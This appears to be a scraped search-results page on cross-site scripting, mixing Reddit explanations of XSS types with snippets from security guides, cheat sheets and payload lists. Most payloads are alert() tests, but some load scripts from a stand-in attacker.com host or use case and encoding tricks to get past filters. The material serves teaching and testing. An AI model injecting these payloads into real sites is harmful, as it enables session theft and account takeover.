There are 3 basic types of XSS: reflected, stored and DOM based. Stored XSS is an attack on a site that allows user to submit and store HTML in some way (eg in a comment or user profile). If the input is not properly filtered, an attacker can embed malicious JavaScript in the HTML. Then anyone who visits the site and happens to bring up that user's comment will get the payload. Reflected XSS is when a site takes user input and embeds it in the page, but without storing it on the server. An example would be a multistep form that uses your answer to the first question to determine the next question, eg "what's your favourite food?" If the user answers "pizza", the form then asks "what's your favourite pizza?" But the user answers with , the form will ask "what's your favourite " if it doesn't correctly filter/validate the user input. It's "reflected" because the user's input is reflected back to them in the HTTP response from the server. But since this isn't stored on the server, the attacker would need to trick the user into opening a crafted URL with the malicious answer embedded in it. DOM XSS is similar, but the difference is that the HTTP response from the server doesn't change, it's only what happens on the client side that differs. This is where the site takes user input and uses it directly in JavaScript on the page. The user input never hits the server, so the server-side code can't filter/validate the input, instead the JavaScript itself must do it. Again, you would need to trick a user into opening a specially crafted URL to execute this attack. Aside from safely encoding/filtering/validating user input in code, the other way to prevent these attacks is by implementing a strict Content Security Policy on the web server that only allows scripts with the right nonce or hash to be executed. Answer from 741BlastOff on reddit.com
Invicti
invicti.com › learn › cross-site-scripting-xss
Cross-Site Scripting (XSS) Vulnerability Guide
The vanilla XSS payload is simply to put a <script> tag in user input, often a form field. Popping up an alert box is the classic test action:
X
x.com › theXSSrat › status › 1644615086793805827
The XSS Rat - Proud XSS N00b :-) en X: "XSS Cheat sheet <3 Reflected XSS: Reflected XSS occurs when user input is included in the output of a web application without proper validation or encoding. The malicious payload is executed in the victim's browser when they click a crafted link or submit a form. Example" / X
Example payload: #<img src=x onerror=alert('XSS')> Basic payloads: Simple alert payload: <script>alert('XSS')</script> Execute JavaScript from an external source: <script src="//attacker.com/malicious_script.js"></script> Create an iframe to load a malicious site: <iframe src="http://attacker.com/malicious_site"></iframe> Bypassing filters: Use different capitalization: <ScRipT>alert('XSS')</sCripT> Use HTML entities to obfuscate the payload: <script>alert('XSS')</script> Use a different JavaScript event handler, such as "onmouseover" or "onfocus": <a href="#" onmouseover="aler
Videos
14:43
Cross-Site Scripting (XSS) Explained! // How to Bug Bounty - YouTube
15:04
Running a XSS Attack + How to defend - YouTube
11:33
Detecting & Exploiting Cross-Site Scripting (XSS) - YouTube
18:32
Cross-Site Scripting Explained with Examples and How to ...
10:19
Cross-Site Scripting (XSS) Explained - YouTube
08:28
How to Find XSS | Cross-site scripting - YouTube
How can you avoid cross-site scripting vulnerabilities?
Effective XSS prevention requires strict input validation, context-aware output encoding, secure framework usage, modern security measures such as Trusted Types and Content Security Policy headers, and continuous web application security testing.
invicti.com
invicti.com › learn › cross-site-scripting-xss
Cross-Site Scripting (XSS) Vulnerability Guide
What is the difference between XSS and CSRF?
XSS injects malicious JavaScript into a trusted web page, causing the user’s browser to execute attacker-controlled code. CSRF tricks a user’s browser into sending unauthorized HTTP requests. While XSS runs malicious code in the browser, CSRF abuses authenticated requests. Attackers may combine both types of attacks.
invicti.com
invicti.com › learn › cross-site-scripting-xss
Cross-Site Scripting (XSS) Vulnerability Guide
Is cross-site scripting still dangerous?
Yes. Cross-site scripting remains one of the most common web application security vulnerabilities. It can lead to account takeover, session hijacking, phishing, and exposure of sensitive data.
invicti.com
invicti.com › learn › cross-site-scripting-xss
Cross-Site Scripting (XSS) Vulnerability Guide
Reddit
reddit.com › r/cybersecurity › how exactly does cross site scripting (xss) work?
r/cybersecurity on Reddit: How exactly does Cross Site Scripting (XSS) work?
August 21, 2024 -
Hello,
So I know a general concept of XSS where a threat actor infects a website's code with it's own malicious part of code but what happens later. How does it work on victim's side? Does the malicious party create fake link first which is actually the same as the original link (with no typos) and sends it to the receiving party or is there any other way? I know about DOM-based XSS and how exactly do they differ between standard XSS?
I have also heard about reflected XSS which affects website owner's server which validates the fake link with malicious code in it. How different is that from the aforementioned attacks and how can one mitigate them?
I am sorry if this thread is too simple but I'd like to understand it as I am an idiot in this matter.
Top answer 1 of 5
146
There are 3 basic types of XSS: reflected, stored and DOM based. Stored XSS is an attack on a site that allows user to submit and store HTML in some way (eg in a comment or user profile). If the input is not properly filtered, an attacker can embed malicious JavaScript in the HTML. Then anyone who visits the site and happens to bring up that user's comment will get the payload. Reflected XSS is when a site takes user input and embeds it in the page, but without storing it on the server. An example would be a multistep form that uses your answer to the first question to determine the next question, eg "what's your favourite food?" If the user answers "pizza", the form then asks "what's your favourite pizza?" But the user answers with , the form will ask "what's your favourite " if it doesn't correctly filter/validate the user input. It's "reflected" because the user's input is reflected back to them in the HTTP response from the server. But since this isn't stored on the server, the attacker would need to trick the user into opening a crafted URL with the malicious answer embedded in it. DOM XSS is similar, but the difference is that the HTTP response from the server doesn't change, it's only what happens on the client side that differs. This is where the site takes user input and uses it directly in JavaScript on the page. The user input never hits the server, so the server-side code can't filter/validate the input, instead the JavaScript itself must do it. Again, you would need to trick a user into opening a specially crafted URL to execute this attack. Aside from safely encoding/filtering/validating user input in code, the other way to prevent these attacks is by implementing a strict Content Security Policy on the web server that only allows scripts with the right nonce or hash to be executed.
2 of 5
24
Persistent XSS: Content is saved to the website. Attacker sits back and waits for victim to browse to affected page. Shenanigans ensue. Reflected XSS: Content provided by user is reflected back to user. Attacker sends malicious link to user. They click on it which sends them to affected page with payload unlocked. Shenanigans ensue. DOM XSS: Somewhere in between the choices above. The server content is not persistently changed; nor is the malicious content directly reflected; but some element of input (probably a URL portion) is embedded in the page insecurely. Attacker gets user to click on malicious link to page which embeds the payload. Shenanigans ensue.
PortSwigger
portswigger.net › web-security › cross-site-scripting › contexts
Cross-site scripting contexts | Web Security Academy
The end result is that the alert() function is called with 1 as an argument. onerror=alert;throw 1 · There are multiple ways of using this technique to call functions without parentheses. The next lab demonstrates a website that filters certain characters. You'll have to use similar techniques to those described above in order to solve it. When the XSS context is some existing JavaScript within a quoted tag attribute, such as an event handler, it is possible to make use of HTML-encoding to work around some input filters.
Schellman
schellman.com › blog › demonstrating-impact-with-cross-site-scripting
Demonstrating Impact with Cross-Site Scripting: Beyond the Alert Box
October 19, 2023 - But as previously mentioned, we can still perform this type of attack by defining XHR requests within an XSS payload—this method works because the requests are first loaded through an external script and then sent from the local context of the user’s browser. So when a user visits vulnerable page of the application, requests that are pre-defined with XHR will automatically be sent without their knowledge. Let’s illustrate how you can perform this and demonstrate the potential consequences. Say you’ve identified a working XSS payload, something like: <img src=x onerror=alert(document.domain)>
Medium
medium.com › @sasi112002kumar › dont-use-alert-1-c34de3df1825
Don’t use alert(1)- XSS. Cross Site Scripting( XSS ) XSS is a… | by Sasi Kumar | Medium
November 2, 2024 - So If you want to check whether a site’s input field is XSS secured or not the most used script is “<img src=x onerror=alert(window.origin)>” .
Mozilla
developer.mozilla.org › en-US › docs › Web › Security › Attacks › XSS
Cross-site scripting (XSS) - Security | MDN
Hello, <img src=x onerror=alert('XSS!')>!
20i®
20i.com › blog › cross-site-scripting-how-to-protect-your-website
Cross-Site Scripting (XSS) - How to Protect Your Site | 20i
February 17, 2026 - As the site fails to escape or sanitise the input before displaying it, this script is stored in the database (Stored XSS) and then rendered on the page whenever anyone views the comments. Now, whenever a visitor loads the article, their browser executes the malicious script. While this example only triggers an alert box (often used to demonstrate XSS), a real attacker could do far more damage, such as stealing session cookies, hijacking user accounts, redirecting users to malicious sites and logging keystrokes.
Bright Security
brightsec.com › blog › cross-site-scripting-xss
The Ultimate Beginners Guide to XSS Vulnerability - Bright Security
August 10, 2025 - Payload is broken_site/xss/3?id= ... And this worked, the site just checks once if the payload contains the script tags and removes them, once it removes them we get another set of script tags that we wrapped around the removed ones and we get the successful alert prompt.
Hackviser
hackviser.com › cross-site scripting (xss)
Cross-Site Scripting (XSS) Attack Guide | Hackviser
For example, when a website reflects ... <div>Hello, <script>alert(1)</script></div> This script executes in the victim's browser with the same privileges as the legitimate website scripts....
PortSwigger
portswigger.net › web-security › cross-site-scripting › cheat-sheet
Cross-Site Scripting (XSS) Cheat Sheet - 2026 Edition | Web Security Academy
script · section · select · shadow · slot · small · source · spacer · span · strike · strong · style · sub · summary · sup · svg · table · tbody · td · template · textarea · tfoot · th · thead · time · title · tr · track · tt · u · ul · var · video · wbr · xmp <xss oncontentvisibilityautostatechange=alert(1) style=display:block;content-visibility:auto> Copy Link ·
OWASP
owasp.org › www-project-web-security-testing-guide › v42 › 4-Web_Application_Security_Testing › 07-Input_Validation_Testing › 02-Testing_for_Stored_Cross_Site_Scripting
4.7.2 Testing for Stored Cross Site Scripting
For instance, if the string “SCRIPT” is replaced by a space or by a NULL character then this could be a potential sign of XSS filtering in action. Many techniques exist in order to evade input filters (see testing for reflected XSS) chapter). It is strongly recommended that testers refer to XSS Filter Evasion and Mario XSS Cheat pages, which provide an extensive list of XSS attacks and filtering bypasses.
Pentest-Tools.com
pentest-tools.com › home
10 Practical scenarios for XSS attacks | Pentest-Tools.com Blog
localhost:81/vulnerabilities/xss_d/?default=<script>alert(“DOM-based XSS”)</script>
KSEC Community Forum
forum.ksec.co.uk › research & training › pentesting
XSS Payload Cheatsheet - Pentesting - KSEC Community Forum
November 9, 2023 - 2015/06/04 XSS | Web | Vuln | website | XSS WebApp Exploit Reverse connection This can be used to redirect a vistor to an exploit, nc listener, reverse shell, RCE etc : invisible iframe Cookie stealer Xss online resources Online site for payloads xss - payloads xss filter evasion OWASP beef + metasploit + xss =...
Nuharborsecurity
nuharborsecurity.com › blog › alertxss-pwn3d-real-dangers-cross-site-scripting
alert(‘XSS – Pwn3d!’): The Real Dangers of Cross-Site Scripting
In the cases of an authenticated administrator this script will bypass same-origin policy and carry-out the CSRF exploit via XSS. The RequestA function makes a request to the UserControlPanel page and uses regex to parse out the returned X-CSRF-Token in the response.
Splunk
splunk.com › en_us › blog › learn › cross-site-scripting-xss-attacks.html
Cross-Site Scripting (XSS) & How to Prevent Attacks | Splunk
For example, use the alert () function in your inputs and check if reflected in your browser. Using a web vulnerability scanner. These tools can automate XSS detection, using static and dynamic analysis of JavaScript to detect XSS vulnerabilities.
Bright Security
brightsec.com › blog › xss-attack
XSS Attack: 3 Real Life Attacks and Code Examples - Bright Security
August 10, 2025 - Cross-site scripting is when an attacker manipulates a vulnerable website so it returns malicious scripts to the user. This process typically involves JavaScript, but an attacker can use any client-side language. XSS primarily targets JavaScript due to the language’s integration with many browsers.
Top answer 1 of 2
1
There are several types of XSS vulnerabilities. I'll assume you are talking about a persistent-XSS since that's one type related to your question.
In a persistent-XSS vulnerability, you can POST a request which is then stored in the server-side backend of the application (i.e. a database).
For example, a table in a database storing the comments sections of an article.
When other clients of the application then request that page, the server responds with the related article HTML page including the comments section, where the attacker's payload exists. Then, each client receiving that HTML page, will also receive a comment with a malicious <script>payload</script> script.
From here, the client's browser automatically renders the HTML and executes <script> tags as legitimate JS code received from the server.
Since this code was injected by an attacker, and runs in the clients' browsers, it can be harmful - stealing the client's cookies, session keys, etc. and sending them to a remote server.
2 of 2
0
The easiest way to understand the classic XSS mechanism: If there are no security mesurements, an Attacker inputs the script into a comment section's textbox under an article and then sends it in. This way the script gets stored in the server's database. Every time someone visits that page with the comment section the script will be loaded on the visitor's client side.
To remediate that sanitize input, escape output and use Content-Security-Policy.
Scribd
scribd.com › document › 844264626 › XSSalertTest
XSS Alert Script Examples | PDF
<ScRiPt>AlErT('XSS')</ScRiPt> "><script>alert('XSS')</script> "><ScRiPt>AlErT('XSS')</ScRiPt> =><><script>alert('XSS')</script> =><><ScRiPt>AlErT('XSS')</ScRiPt> ="><script>alert('XSS')</script> ="><ScRiPt>AlErT('XSS')</ScRiPt> ='><script>alert('XSS')</script> ='><ScRiPt>AlErT('XSS')</ScRiPt> ="><<script>alert('XSS')</script> ="><<ScRiPt>AlErT('XSS')</ScRiPt> ='><<script>alert('XSS')</script> ='><<ScRiPt>AlErT('XSS')</ScRiPt> <script>alert([Link](88, 83, 83)</script> <ScRiPt>AlErT([Link](88, 83, 83)</ScRiPt> "><script>alert([Link](88, 83, 83)</script> "><ScRiPt>AlErT([Link](88, 83, 83)</ScRiPt